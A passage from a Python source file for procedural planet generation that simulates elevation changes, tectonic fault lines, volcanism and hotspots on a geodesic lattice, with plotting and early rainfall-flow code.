check_is_point_index(p)\n self.frozen_points.remove(p)\n\n def unfreeze_all(self):\n self.frozen_points = set()\n\n def size(self):\n return self.lattice.n_points()\n\n def add_condition_at_position(self, p, func):\n assert callable(func)\n check_is_point_index(p)\n self.condition_dict[p] = func\n\n def get_neighbors(self, p):\n check_is_point_index(p)\n return self.lattice.adjacencies_by_point_index[p]\n\n def get_random_contiguous_region(self, p=None, radius=None, n_points=None, points_to_avoid=None, prioritize_internal_unfilled=False):\n check_is_point_index(p)\n assert int(radius is None) + int(n_points is None) == 1, \"need either radius or n_points but not both, got {} and {}\".format(radius, n_points)\n if points_to_avoid is None:\n points_to_avoid = set()\n points_to_avoid |= self.frozen_points\n assert all(type(x) is int for x in points_to_avoid), \"points to avoid needs all indices (int) but contains other things too: {}\".format(points_to_avoid)\n center_index = p\n while center_index is None or center_index in points_to_avoid:\n center_index = self.lattice.get_random_point_index()\n neighbors = [p_i for p_i in self.get_neighbors(center_index) if p_i not in points_to_avoid]\n circle = self.get_circle_around_point(center_index, radius=radius, n_points=n_points, barrier_points=points_to_avoid)\n return circle\n\n def get_circle_around_point(self, p, radius=None, n_points=None, barrier_points=None):\n check_is_point_index(p)\n if barrier_points is None:\n barrier_points = set()\n else:\n assert all(type(x) is int for x in barrier_points), \"barrier points should be all point indices (int) but contains other types: {}\".format(barrier_points)\n assert p not in barrier_points, \"can't make circle with center in barrier\"\n\n assert int(radius is None) + int(n_points is None) == 1, \"need either radius or n_points but not both, got {} and {}\".format(radius, n_points)\n\n # can tell which points are on inside vs outside of barrier wall by doing this:\n # assign weight of 0.5 to each transition into and out of the barrier (edges in the lattice's graph)\n # so each point in the lattice is associated with a number of barrier crossings\n # those ending in 0.5 are in the barrier itself, those == 1 mod 2 are on the other side\n # so take those == 0 mod 2\n\n g = self.lattice.graph\n xyz_as_one_sample = np.array([self.lattice.points[p].get_coords(\"xyz\"),])\n if n_points is not None:\n subgraph_node_indices = self.lattice.kdtree.query(xyz_as_one_sample, k=n_points, return_distance=False)\n # print(\"queried n_points {}, got {}\".format(n_points, subgraph_node_indices))\n elif radius is not None:\n # subgraph = nx.ego_graph(g, p, radius=radius)\n # print(\"subgraph from radius={} has {} nodes\".format(radius, subgraph.number_of_nodes()))\n subgraph_node_indices = self.lattice.kdtree.query_radius(xyz_as_one_sample, radius)\n # print(\"queried radius {}, got {}\".format(radius, subgraph_node_indices))\n else:\n raise\n\n assert type(subgraph_node_indices) in [list, np.ndarray], \"return type was {}\".format(type(subgraph_node_indices))\n assert len(subgraph_node_indices) == 1 # scikit-learn gives an array of indices for each queried point, here we only queried one\n index_array = subgraph_node_indices[0]\n assert index_array.ndim == 1 # 1D array of point indices\n subgraph_node_indices = list(index_array)\n # print(\"resulting subgraph node indices (len {}):\".format(len(subgraph_node_indices)))\n # print(subgraph_node_indices)\n\n subgraph = g.subgraph(subgraph_node_indices)\n # print(\"subgraph from radius={}, n_points={} has {} nodes\".format(radius, n_points, subgraph.number_of_nodes()))\n # print(\"some nodes from g: {}\".format(list(g.nodes())[:5])) # debugging what kinds of objects are in the graph\n\n if len(barrier_points) == 0:\n # don't do any graph computation, just return whole subgraph\n return set(subgraph.nodes)\n # add weights of 0.5 to any edge transitioning between barrier and non-barrier\n for n in subgraph.nodes:\n subgraph.nodes[n][\"in_barrier\"] = n in barrier_points\n for e in subgraph.edges:\n p0, p1 = e\n in_0 = p0 in barrier_points\n in_1 = p1 in barrier_points\n is_crossing = (in_0 and not in_1) or (in_1 and not in_0)\n subgraph.edges[p0, p1][\"weight\"] = 0.5 if is_crossing else 0\n\n # # debug\n # for e in subgraph.edges:\n # p0, p1 = e\n # print(\"edge {} -> {} = {}\".format(p0.get_coords(\"latlondeg\"), p1.get_coords(\"latlondeg\"), subgraph.edges[e][\"weight\"]))\n\n # now get shortest paths from the center to every other point in the ego graph\n # the weights of these paths will indicate whether they are on the same side of the barrier or not\n points_on_same_side_of_barrier = set()\n other_points = set() # for debugging, can look at what was selected and what wasn't\n for p1 in subgraph.nodes:\n shortest_path_length = nx.shortest_path_length(subgraph, source=p, target=p1, weight=\"weight\")\n # print(\"path {} -> {} = {}\".format(p.get_coords(\"latlondeg\"), p1.get_coords(\"latlondeg\"), shortest_path_length))\n # if weight param is a string, it will use the edge data attribute with that name\n if shortest_path_length % 2 == 0:\n points_on_same_side_of_barrier.add(p1)\n else:\n other_points.add(p1)\n\n # # debug: plot the subgraph and whether points were chosen or not\n # print(\"plotting subgraph for circle with radius {}\".format(radius))\n # chosen_points_latlon = [p.get_coords(\"latlondeg\") for p in points_on_same_side_of_barrier]\n # other_points_latlon = [p.get_coords(\"latlondeg\") for p in other_points]\n # xs = [ll[0] for ll in chosen_points_latlon] + [ll[0] for ll in other_points_latlon]\n # ys = [ll[1] for ll in chosen_points_latlon] + [ll[1] for ll in other_points_latlon]\n # colors = [\"r\" for ll in chosen_points_latlon] + [\"b\" for ll in other_points_latlon]\n # plt.scatter(xs, ys, c=colors)\n # plt.show()\n\n assert p in points_on_same_side_of_barrier # should return itself\n return points_on_same_side_of_barrier\n\n def get_distances_from_edge(self, point_set, use_scipy_method=True):\n # if use_scipy_method: # TODO see if there is an equivalent \"distance transform\" function for arbitrary lattice points\n if False:\n pass\n # min_x = np.inf\n # max_x = -np.inf\n # min_y = np.inf\n # max_y = -np.inf\n # for p in point_set:\n # x, y = p\n # min_x = min(x, min_x)\n # max_x = max(x, max_x)\n # min_y = min(y, min_y)\n # max_y = max(y, max_y)\n # \n # # put them in an array\n # to_relative_coords = lambda p: (p[0]-min_x, p[1]-min_y)\n # to_absolute_coords = lambda p: (p[0]+min_x, p[1]+min_y)\n # arr_x_size = max_x - min_x + 1\n # arr_y_size = max_y - min_y + 1\n # arr = np.zeros((arr_x_size, arr_y_size))\n # rels = {}\n # for p in point_set:\n # xrel, yrel = to_relative_coords(p)\n # rels[p] = (xrel, yrel)\n # arr[xrel, yrel] = 1\n # distance_transform_matrix = ndimage.morphology.distance_transform_edt(arr)\n # res = {}\n # for p in point_set:\n # xrel, yrel = rels[p]\n # d = distance_transform_matrix[xrel, yrel]\n # res[p] = d - 1\n # return res\n\n else:\n # old way, slower than scipy\n if len(point_set) == 0:\n return {}\n res = {}\n points_on_edge = [p for p in point_set if any(n not in point_set for n in self.get_neighbors(p))] # flagged as slow: genexpr\n assert len(points_on_edge) > 0, \"point set has no edge members:\\n{}\".format(sorted(point_set))\n for p in points_on_edge:\n res[p] = 0\n interior_point_set = point_set - set(points_on_edge)\n if len(interior_point_set) > 0:\n interior_distances = self.get_distances_from_edge(interior_point_set, use_scipy_method=False)\n for p, d in interior_distances.items():\n res[p] = d + 1\n return res\n\n def make_random_elevation_change(self, \n expected_change_sphere_proportion=None,\n positive_feedback_in_elevation=None,\n reference_area_ratio_at_sea_level=None,\n reference_area_ratio_at_big_abs=None,\n big_abs=None,\n critical_abs=None, # above this abs, go farther in that direction until reach big_abs_elevation\n mu_when_small=None,\n mu_when_critical=None, # mu for elevation change in critical zone (critical_abs <= abs(elevation) <= big_abs)\n mu_when_big=None,\n sigma_when_small=None,\n sigma_when_critical=None,\n sigma_when_big=None,\n land_proportion=None,\n spikiness=None,\n volcanism_coefficient_for_elevation=None,\n volcanism_exponent_for_elevation=None,\n ):\n\n center_index = self.lattice.get_random_point_index()\n # print(\"making change at {}\".format(center))\n\n if isinstance(self.lattice, IcosahedralGeodesicLattice):\n radius_from_center_in_3d = mcm.get_radius_about_center_surface_point_for_circle_of_area_proportion_on_unit_sphere(expected_change_sphere_proportion)\n else:\n raise Exception(\"making elevation change on non-geodesic lattice is deprecated, this lattice is a {}\".format(type(self.lattice)))\n\n changing_reg = self.get_random_contiguous_region(center_index, radius=radius_from_center_in_3d, points_to_avoid=self.frozen_points)\n changing_reg_n_points = len(changing_reg)\n # print(\"proportion {} got {} changing points from lattice with {} points (got proportion {})\".format(expected_change_sphere_proportion, changing_reg_n_points, len(self.lattice.points), changing_reg_n_points/len(self.lattice.points)))\n changing_reg_usps = [self.lattice.points[p_i] for p_i in changing_reg]\n ps_xyz = [np.array(p.get_coords(\"xyz\")) for p in changing_reg_usps]\n mean_ps_xyz = sum(ps_xyz) / len(ps_xyz) # don't use np.mean here or it will give you a single scalar, mean of all values\n assert len(mean_ps_xyz) == 3, \"ya done goofed. look -> {}\".format(mean_ps_xyz)\n mean_ps_xyz = np.array(mean_ps_xyz)\n mean_ps_xyz /= np.linalg.norm(mean_ps_xyz) # normalize\n mean_ps_latlon = mcm.unit_vector_cartesian_to_lat_lon(*mean_ps_xyz, deg=True)\n coords_dict = {\"xyz\": tuple(mean_ps_xyz), \"latlondeg\": tuple(mean_ps_latlon)}\n changing_reg_center_of_mass_raw = UnitSpherePoint(coords_dict)\n changing_reg_center_of_mass = self.lattice.closest_point_to(changing_reg_center_of_mass_raw)\n com_index = self.lattice.get_index_of_usp(changing_reg_center_of_mass)\n e_center_of_mass = self.get_value_at_position(com_index, \"elevation\")\n reference_p = changing_reg_center_of_mass\n\n # try to get mountain chains to propagate:\n # if center point is low abs, look at bigger region, might catch mountain\n # if center point is high abs, look at smaller region, don't let lowland water it down\n if abs(e_center_of_mass) >= big_abs:\n reference_area_ratio = reference_area_ratio_at_big_abs\n else:\n slope = (reference_area_ratio_at_big_abs - reference_area_ratio_at_sea_level) / (big_abs - 0)\n reference_area_ratio = reference_area_ratio_at_sea_level + slope * abs(e_center_of_mass)\n\n assert np.isfinite(reference_area_ratio), \"reference area ratio = {}, from e_center_of_mass={}, big_abs={}\".format(reference_area_ratio, e_center_of_mass, big_abs)\n\n reference_p_i = self.lattice.get_index_of_usp(reference_p)\n reference_n_points = max(1, int(round(reference_area_ratio * changing_reg_n_points)))\n reference_reg = self.get_circle_around_point(reference_p_i, n_points=reference_n_points)\n elevations_in_refreg = [self.get_value_at_position(p_i, \"elevation\") for p_i in reference_reg]\n e_avg = np.mean(elevations_in_refreg)\n e_max = np.max(elevations_in_refreg)\n e_min = np.min(elevations_in_refreg)\n elevation_sign = (1 if e_avg > 0 else -1)\n\n distances = self.get_distances_from_edge(changing_reg)\n max_d = max(distances.values())\n if max_d == 0:\n raw_func = elfs.constant\n else:\n raw_func = elfs.get_elevation_change_function(spikiness=spikiness)\n\n if positive_feedback_in_elevation:\n # land begets land, sea begets sea\n # use e_max for detecting mountain nearby, chain should propagate\n # try to enforce land ratio approximately. change it to the other one with probability(other_sign)\n # TODO probably need a better way of creating land proportion; this has unintended side effects like treating high mountains as though they're deep-sea trenches and then raising them a lot\n # if elevation_sign == 1:\n # # switch land to sea with probability(sea)\n # if random.random() < (1 - land_proportion):\n # elevation_sign = -1\n # elif elevation_sign == -1:\n # if random.random() < (land_proportion):\n # elevation_sign = 1\n if land_proportion != 0.5:\n raise Exception(\"land_proportion is deprecated for now, until I find a better way to implement it. please set to 0.5\")\n\n big_signed = elevation_sign * big_abs\n critical_signed = elevation_sign * critical_abs\n critical_excess = e_avg - critical_signed\n big_remainder = big_signed - e_avg\n mountain_or_trench_nearby = abs(e_max) >= big_abs or abs(e_min) >= big_abs\n \n mu = \\\n elevation_sign * mu_when_big if abs(e_avg) > big_abs else \\\n elevation_sign * mu_when_critical if abs(e_avg) > critical_abs else \\\n elevation_sign * mu_when_small\n\n sigma = \\\n sigma_when_big if abs(e_avg) > big_abs else \\\n sigma_when_critical if abs(e_avg) > critical_abs else \\\n sigma_when_small\n # can't have negative sigma!\n\n\n # if False: #mountain_or_trench_nearby:\n # pass\n # # try to propagate it in a line, i.e., the closer e_avg is to mountain size, the more likely it is to rise\n # alpha_between_critical_and_big = (e_avg - critical_signed)/(big_signed - critical_signed)\n # # closer to big = bigger alpha, bigger expected rise\n # a = np.random.uniform(alpha_between_critical_and_big)\n # mu = a * big_remainder\n # else:\n\n # try another idea, extreme elevations have expected movement of zero\n # but moderate ones move more in their direction\n # if abs(average_elevation_in_refreg) < abs(big_elevation_signed):\n # mu = average_elevation_in_refreg\n # else:\n # mu = 0\n\n # old correction to mu, I think this is causing overcorrection, might be responsible for mountain rings\n # because it sees mountains that are taller than big_abs, wants to drop them, ends up creating lowlands in the rest of the\n # changing region, could this cause a mountain ring to propagate toward shore, leaving central valley?\n # mu = average_elevation_in_refreg\n # if abs(mu) > big_abs_elevation:\n # # decrease mu linearly down to 0 at 2*big_abs_elevation, and then drop more after that to decrease\n # big_elevation_signed = big_abs_elevation * (1 if mu > 0 else -1)\n # mu_excess = mu - big_elevation_signed\n # mu -= 2*mu_excess\n\n else:\n mu = 0\n sigma = sigma_when_small\n\n # add effects of volcanism, crude approximation for now\n # volcanism_array_of_refreg = self.get_value_array(\"volcanism\", reference_reg) # slow?\n volcanism_array_of_refreg = np.array([self.get_value_at_position(p_i, \"volcanism\") for p_i in reference_reg])\n average_volcanism_in_refreg = volcanism_array_of_refreg.mean()\n assert np.isfinite(average_volcanism_in_refreg)\n if abs(e_avg) > big_abs:\n volcanism_contribution = 0\n elif average_volcanism_in_refreg == 0:\n volcanism_contribution = 0\n else:\n vol = average_volcanism_in_refreg\n v_sign = 1 if vol > 0 else -1\n exponentiated = abs(vol) ** volcanism_exponent_for_elevation\n scaled = volcanism_coefficient_for_elevation * exponentiated\n volcanism_contribution = v_sign * scaled\n # print(\"original mu = {}, += {} from volcanism\".format(mu, volcanism_contribution))\n mu += volcanism_contribution # positive = make mountains; negative = make rifts\n # mu = volcanism_contribution # debug, try to get correlation to show up\n\n max_change = np.random.normal(mu, sigma)\n\n func = lambda d: raw_func(d, max_d, max_change)\n changes = {p: func(d) for p, d in distances.items() if p not in self.frozen_points}\n for p, d_el in changes.items():\n current_el = self.get_value_at_position(p, \"elevation\")\n new_el = current_el + d_el\n if self.new_value_satisfies_condition(p, new_el):\n self.fill_position(p, \"elevation\", new_el)\n\n # def get_random_zero_loop(self):\n # x0_0, y0_0 = self.get_random_point(border_width=2)\n # dx = 0\n # dy = 0\n # while np.sqrt(dx**2 + dy**2) < self.x_size * 1/2 * np.sqrt(2):\n # x0_1 = random.randrange(2, self.x_size - 2)\n # y0_1 = random.randrange(2, self.y_size - 2)\n # dx = x0_1 - x0_0\n # dy = y0_1 - y0_0\n # # x0_1 = (x0_0 + self.x_size // 2) % self.x_size # force it to be considerably far away to get more interesting result\n # # y0_1 = (y0_0 + self.y_size // 2) % self.y_size\n # source_0 = (x0_0, y0_0)\n # source_1 = (x0_1, y0_1)\n # path_0 = self.get_random_path(source_0, source_1, points_to_avoid=set())\n # path_1 = self.get_random_path(source_0, source_1, points_to_avoid=path_0)\n\n # res = path_0 | path_1\n # # print(res)\n # return res\n\n # def add_random_zero_loop(self):\n # points = self.get_random_zero_loop()\n # for p in points:\n # self.fill_position(p[0], p[1], 0)\n\n def fill_elevations(self, \n n_steps=None, \n plot_every_n_steps=None,\n expected_change_sphere_proportion=None,\n positive_feedback_in_elevation=None,\n reference_area_ratio_at_sea_level=None,\n reference_area_ratio_at_big_abs=None,\n big_abs=None,\n critical_abs=None,\n mu_when_small=None,\n mu_when_critical=None,\n mu_when_big=None,\n sigma_when_small=None,\n sigma_when_critical=None,\n sigma_when_big=None,\n land_proportion=None,\n spikiness=None,\n volcanism_coefficient_for_elevation=None,\n volcanism_exponent_for_elevation=None,\n ):\n plot_progress = type(plot_every_n_steps) is int and plot_every_n_steps > 0\n if plot_progress:\n plt.ion()\n i = 0\n t0 = datetime.now()\n while True:\n if n_steps is None:\n raise Exception(\"do not do this anymore, just run until there is sufficient convergence\")\n # if len(self.untouched_points) == 0:\n # break\n else:\n if i >= n_steps:\n break\n if i % 100 == 0 or i in [1, 2, 3, 4, 5, 10, 25, 50, 75]:\n try:\n dt = datetime.now() - t0\n n_left = n_steps - i\n secs_per_step = dt/i\n eta = secs_per_step * n_left\n eta_str = str(eta)\n print(\"step {}, {} elapsed, {} ETA\".format(i, dt, eta_str))\n except ZeroDivisionError:\n pass\n self.make_random_elevation_change(\n expected_change_sphere_proportion=expected_change_sphere_proportion,\n positive_feedback_in_elevation=positive_feedback_in_elevation,\n reference_area_ratio_at_sea_level=reference_area_ratio_at_sea_level,\n reference_area_ratio_at_big_abs=reference_area_ratio_at_big_abs,\n big_abs=big_abs,\n critical_abs=critical_abs,\n mu_when_small=mu_when_small,\n mu_when_critical=mu_when_critical,\n mu_when_big=mu_when_big,\n sigma_when_small=sigma_when_small,\n sigma_when_critical=sigma_when_critical,\n sigma_when_big=sigma_when_big,\n land_proportion=land_proportion,\n spikiness=spikiness,\n volcanism_coefficient_for_elevation=volcanism_coefficient_for_elevation,\n volcanism_exponent_for_elevation=volcanism_exponent_for_elevation,\n )\n if plot_progress and i % plot_every_n_steps == 0:\n try:\n self.draw()\n except ValueError:\n print(\"skipping ValueError in ElevationGenerationMap.draw()\")\n i += 1\n\n def add_fault_lines(self, \n n_fault_tripoints=None, \n n_volcanism_steps=None, \n max_volcanism_change_magnitude=None, \n min_volcanism_wavenumber=None, \n max_volcanism_wavenumber=None,\n ):\n print(\"adding fault lines\")\n # draw a fault line between each pair of tripoints\n tripoints = set()\n while len(tripoints) < n_fault_tripoints:\n new_tripoint = self.lattice.get_random_point_index()\n tripoints.add(new_tripoint)\n # edge_assignments = {}\n # unhappy_points = set(tripoints) # put points here if they have 0 or 1 fault line touching them; they must have 2 or 3\n # saturated_points = set() # put points here once they have 3 fault lines; don't accept more\n existing_fault_points = set() # put points here so the faults won't cross\n # fault_lines_by_point = {p: 0 for p in tripoints}\n # while len(unhappy_points) > 0:\n # for a in edge_assignments:\n # for b in edge_assignments[a]:\n # ?\n # useable_points = tripoints - saturated_points\n # a = random.choice(list(useable_points))\n # b_candidates = list(useable_points - {a})\n for a in tripoints:\n b_candidates = list(tripoints - {a})\n xyz_a = np.array(self.lattice.points[a].get_coords(\"xyz\"))\n b_xyzs = [np.array(self.lattice.points[bc].get_coords(\"xyz\")) for bc in b_candidates]\n ds = [np.linalg.norm(xyz - xyz_a) for xyz in b_xyzs]\n three_neighbors = []\n for i in range(3):\n min_i = ds.index(min(ds))\n three_neighbors.append(b_candidates[min_i])\n ds.remove(ds[min_i])\n # b = b_candidates[min_index]\n # if len(useable_points) > 1:\n # pair = random.sample(useable_points, 2)\n # except ValueError:\n # # sample larger than population, allow a saturated point to be used\n # assert len(useable_points) == 1, \"useable points has len {}\".format(len(useable_points))\n # u_p = list(useable_points)[0]\n # s_p = random.choice(list(tripoints))\n # pair = (u_p, s_p)\n # a, b = pair\n for b in three_neighbors:\n other_tripoints = tripoints - {a, b}\n points_to_avoid = existing_fault_points | other_tripoints\n path = self.lattice.get_random_path(a, b, points_to_avoid)\n existing_fault_points |= path\n # fault_lines_by_point[a] += 1\n # fault_lines_by_point[b] += 1\n # for p in {a, b}:\n # if fault_lines_by_point[p] > 1:\n # unhappy_points -= {p}\n # if fault_lines_by_point[p] > 2:\n # saturated_points.add(p)\n # for p in path:\n # self.fill_position(p, \"volcanism\", abs(random.normalvariate(1, 0.5)))\n\n # after all the lines are created\n # self.fill_point_set(existing_fault_points, \"volcanism\", 1) # simplest case, use for debugging path placement\n self.fill_fault_points_with_volcanism_values(\n fault_points=existing_fault_points,\n n_volcanism_steps=n_volcanism_steps,\n max_volcanism_change_magnitude=max_volcanism_change_magnitude,\n min_volcanism_wavenumber=min_volcanism_wavenumber,\n max_volcanism_wavenumber=max_volcanism_wavenumber,\n )\n print(\"there are {} fault points out of {} total\".format(len(existing_fault_points), len(self.lattice.points)))\n print(\"- done adding fault lines\")\n\n def fill_fault_points_with_volcanism_values(self, \n fault_points=None, \n n_volcanism_steps=None, \n max_volcanism_change_magnitude=None,\n min_volcanism_wavenumber=None, # number of crests of volcanism change sin wave over the planet; wavenumber 1 is a sigmoid\n max_volcanism_wavenumber=None,\n ):\n # positive volcanism means convergent boundary / flow of rock outward onto the surface (volcano)\n # negative volcanism means divergent boundary / sinking of rock into the interior (trench, rift)\n # make the values vary like random waves around the whole subgraph\n\n # TODO might be nice to implement a more general \"create data\" function that uses the elevation logic\n # - and apply that to any subgraph/lattice, so here can just pass it only the fault points instead of the whole globe\n ps = list(fault_points) # order them in case they're not\n sg = self.lattice.graph.subgraph(ps)\n # print(\"cycles:\", nx.cycle_basis(sg))\n xyz_coords = np.array([self.lattice.points[p].get_coords(\"xyz\") for p in ps])\n sg_kdtree = KDTree(xyz_coords)\n n_steps = n_volcanism_steps # more steps adds more noise, makes the individual waves less obvious, so it looks more natural\n for step_i in range(n_steps):\n i = random.randrange(len(ps))\n p = ps[i]\n xyz_p = xyz_coords[i]\n print(\"chose point i={} p={} with coords {}\".format(i, p, xyz_p))\n # apply some sin wave to every point on the map based on distance from p\n query = np.array([xyz_p])\n distances, neighbors = sg_kdtree.query(query, k=len(ps))\n assert distances.shape[0] == 1 # one sub-array corresponding to the single query point\n assert neighbors.shape[0] == 1 # one sub-array corresponding to the single query point\n distances = distances[0]\n neighbors_raw = neighbors[0]\n # note that neighbors here is the indices of the points IN THE KDTREE, NOT THEIR POINT INDEX IN THE LATTICE\n # - this was the source of the Sierpinski error (it reflected how I numbered the points in icosahedron construction)\n neighbors = [ps[n_i] for n_i in neighbors_raw]\n # maximum distance can be 2 (2 radii away along diameter of unit sphere)\n assert max(distances) <= 2\n assert all(n in ps for n in neighbors), \"got neighbors outside of point set\"\n # ideally function is smooth\n # set p to some value, set antipodes to zero\n # sigmoid_01 = lambda x, b=-2: 1/(1+(x/(1-x))**-b) # https://stats.stackexchange.com/questions/214877/\n sin_wave = lambda x, k: (1+np.sin(((-1)**k)*(2*k+1)*np.pi*(x+0.5)))/2 # for k >= 0, this gives sin wave from [0,1] to [0,1] with f(0)=1, f(1)=0, and k+1 crests\n volcanism_sign = [-1, 1][step_i % 2] # alternate so you don't get too much bias in either direction\n max_change = random.uniform(0, max_volcanism_change_magnitude) * volcanism_sign\n get_k = lambda: random.randint(min_volcanism_wavenumber, max_volcanism_wavenumber)\n f = lambda d, y=max_change: sin_wave(d/2, k=get_k()) * y\n # f = lambda d: 10 + random.random() * 5 + 0*d # debug\n changes = f(distances)\n for neighbor, change in zip(neighbors, changes):\n self.add_value_at_position(neighbor, \"volcanism\", change)\n\n # now even it out to total volcanism of zero\n volcanism_array = self.get_value_array(\"volcanism\")\n total_volcanism = sum(volcanism_array)\n # only apply the adjustment to fault-line points\n n_fault_points = len(ps)\n # print(\"total pre-adjustment volcanism is {} over {} points\".format(total_volcanism, n_fault_points))\n adjustment_per_point = -1 * total_volcanism / n_fault_points\n for p in ps:\n self.add_value_at_position(p, \"volcanism\", adjustment_per_point)\n post_adjustment_total_volcanism = sum(self.get_value_array(\"volcanism\"))\n if abs(post_adjustment_total_volcanism) > 1e-6:\n raise Exception(\"non-zero total volcanism persists: {}\".format(post_adjustment_total_volcanism))\n \n def add_hotspots(self, n_hotspots, hotspot_min_magnitude_factor, hotspot_max_magnitude_factor):\n max_abs_volcanism = max(abs(self.get_value_array(\"volcanism\")))\n hotspot_min_val = hotspot_min_magnitude_factor * max_abs_volcanism # note this is still multiplied by MAX of other volcanism magnitude\n hotspot_max_val = hotspot_max_magnitude_factor * max_abs_volcanism\n for i in range(n_hotspots):\n p = self.lattice.get_random_point_index()\n self.add_value_at_position(p, \"volcanism\", random.uniform(hotspot_min_val, hotspot_max_val))\n\n def plot(self):\n # plt.gcf()\n self.pre_plot()\n plt.show()\n\n def draw(self):\n plt.gcf().clear()\n self.pre_plot()\n plt.draw()\n plt.pause(0.001)\n\n def save_plot_image(self, key_str, project_name, project_version, size_inches=None, cmap=None):\n # output_fp = add_datetime_to_fp(output_fp)\n output_fp = \"/home/wesley/programming/Mapping/Projects/{project_name}/Plots/EGP_{project_name}_{key_str}_v{project_version}.png\".format(**locals())\n while os.path.exists(output_fp):\n print(\"file {} exists, renaming output fp\".format(output_fp))\n output_fp = output_fp.replace(\".png\", \"-1.png\")\n print(\"saving plot image to {}\".format(output_fp))\n self.pre_plot(key_str, size_inches=size_inches, cmap=cmap)\n plt.savefig(output_fp)\n print(\"- done saving plot image\")\n\n def pre_plot(self, key_str, size_inches=None, cmap=None):\n self.lattice.plot_data(self.data_dict, key_str, size_inches=size_inches, cmap=cmap)\n\n def plot_gradient(self):\n ax1 = plt.subplot(1, 2, 1)\n self.create_gradient_direction_plot()\n plt.subplot(1, 2, 2, sharex=ax1, sharey=ax1)\n self.create_gradient_magnitude_plot()\n plt.show()\n\n def plot_gradient_magnitude(self):\n self.create_gradient_magnitude_plot()\n plt.show()\n\n def plot_map_and_gradient_magnitude(self):\n ax1 = plt.subplot(1, 2, 1)\n self.pre_plot()\n plt.subplot(1, 2, 2, sharex=ax1, sharey=ax1)\n self.create_gradient_magnitude_plot()\n plt.show()\n\n def create_gradient_direction_plot(self):\n plt.title(\"gradient direction\")\n varray = self.array\n vgrad = np.gradient(varray)\n grad_angle = np.angle(vgrad[0] + 1j*vgrad[1])\n angle_colormap = plt.cm.hsv # something cyclic\n angle_color = angle_colormap(grad_angle)\n plt.imshow(grad_angle, cmap=angle_colormap, vmin=-np.pi, vmax=np.pi)\n plt.colorbar()\n\n def create_gradient_magnitude_plot(self):\n plt.title(\"gradient magnitude\")\n varray = self.array\n vgrad = np.gradient(varray)\n grad_mag = np.sqrt(vgrad[0]**2 + vgrad[1]**2)\n mag_colormap = plt.cm.gist_rainbow # most gradients are near zero, want even slightly higher ones to stand out\n plt.imshow(grad_mag, cmap=mag_colormap)\n plt.colorbar()\n\n def plot_volcanism_data(self):\n cmap = pu.get_volcanism_colormap()\n self.lattice.plot_data(self.data_dict, \"volcanism\", cmap=cmap)\n plt.show()\n\n def create_rainfall_array(self):\n if hasattr(self, \"rainfall_array\") and self.rainfall_array is not None:\n return\n self.rainfall_array = np.random.uniform(0, 1, size=self.array.shape)\n water_points = self.array < 0 # is_land changes means this changes\n self.rainfall_array[water_points] = 0\n # could have negative values correspond to more evaporation than rain\n # treat units as height units per tick of time, for flow simulation\n\n def create_flow_arrays(self):\n # div(water_flow) is zero everywhere, whether it leaves by flowing or evaporating or whatever\n # so water flow array should tell what the volumetric flow *through* the point is\n self.create_rainfall_array()\n flow_array = np.zeros((self.x_size, self.y_size))\n flow_destination_array = np.full((self.x_size, self.y_size), None)\n # treat sea level as fixed, water flow into and out of elevations below 0 is ignored\n points_sorted_by_decreasing_elevation = []\n for x in self.x_range:\n for y in self.y_range:\n if self.is_land(x, y):\n elevation = self.array[x, y]\n tup = (elevation, x, y)\n points_sorted_by_decreasing_elevation.append(tup)\n points_sorted_by_decreasing_elevation = sorted(points_sorted_by_decreasing_elevation, reverse=True)\n gx, gy = np.gradient(-1*self.array)\n downhill_neighbor_offset = {\n -180: (-1, 0),\n # -135: (-1, -1),\n -90: (0, -1),\n # -45: (1, -1),\n 0: (1, 0),\n # 45: (1, 1),\n 90: (0, 1),\n # 135: (-1, 1),\n 180: (-1, 0),\n }\n # 8 neighbors allows rivers to cross each other diagonally, so use 4\n for el, x, y in points_sorted_by_decreasing_elevation:\n dx = gx[x, y]\n dy = gy[x, y]\n grad_angle = np.angle(dx + 1j*dy, deg=True)\n # print(\"dx {} dy {} angle {} deg\".format(dx, dy, grad_angle))\n # rounded_to_45_deg = int(45*round(grad_angle/45))\n rounded_to_90_deg = int(90*round(grad_angle/90))\n # input(\"rounded to {}\".format(rounded_to_45_deg))\n downhill_x_offset, downhill_y_offset = downhill_neighbor_offset[rounded_to_90_deg]\n downhill_neighbor = (x + downhill_x_offset, y + downhill_y_offset)\n nx, ny = downhill_neighbor\n flow_array[x, y] += self.rainfall_array[x, y]\n if self.is_valid_point(nx, ny):\n flow_array[nx, ny] += flow_array[x, y]\n flow_destination_array[x, y] = (nx, ny)\n # else:\n # input(\"invalid neighbor {}\".format((nx, ny)))\n self.flow_array = flow_array\n self.flow_destination_array = flow_destination_array\n\n qs = np.linspace(0, 1, 100)\n flow_array_no_zeros = flow_array[flow_array != 0]\n quantiles = {q: np.quantile(flow_array_no_zeros, q) for q in qs}\n def get_nearest_quantile(x):\n if x < quantiles[qs[0]]:\n return 0\n if x > quantiles[qs[-1]]:\n return 1\n for q0, q1 in zip(qs[:-1], qs[1:]):\n v0 = quantiles[q0]\n v1 = quantiles[q1]\n # print(v0, x, v1)\n if v0 <= x <= v1:\n # input(\"match\")\n if abs(q0-x) > abs(q1-x):\n return q0\n else:\n return q1\n raise RuntimeError(\"no quantile found for value {}\".format(x))\n\n flow_quantile_array = np.zeros((self.x_size, self.y_size))\n for x in self.x_range:\n for y in self.y_range:\n flow_quantile_array[x, y] = get_nearest_quantile(flow_array[x, y])\n self.flow_quantile_array = flow_quantile_array\n\n self.water_depth_array = np.zeros((self.x_size, self.y_size))\n water_points = self.array < 0 # is_land change means this changes\n self.water_depth_array[water_points] = -1*self.array[water_points]\n \n def is_land(self, x, y):\n # TODO: make it possible for land to be below sea level\n return self.array[x, y] >= 0\n\n def apply_rainfall(self):\n self.water_depth_array += self.rainfall_array\n total_height_array = self.array + self.water_depth_array\n depth_changes_array = np.zeros((self.x_size, self.y_size))\n for x in self.x_range:\n for y in self.y_range:\n if not self.is_land(x, y):\n # don't transfer from sea to anywhere else\n continue\n h_this_point = total_height_array[x, y]\n ns = self.get_neighbors(x, y, mode=4)\n neighbors_leq_total = [n for n in ns if total_height_array[n[0], n[1]] <= h_this_point]\n if len(neighbors_leq_total) == 0:\n continue\n n_heights = [total_height_array[n[0], n[1]] for n in neighbors_leq_total]\n heights_and_neighbors_increasing = sorted(zip(n_heights, neighbors_leq_total))\n # print(\"\\n{} h={}\\nneighbors sorted {}\".format((x, y), h_this_point, heights_and_neighbors_increasing))\n # now distribute the height difference to the neighbors such that:\n # lowest heights first, add to all the heights currently ranked lowest until they tie with the next rank\n # then add to all those equally, etc. until they are equal to the remaining height of this point\n while True:\n lowest_h = 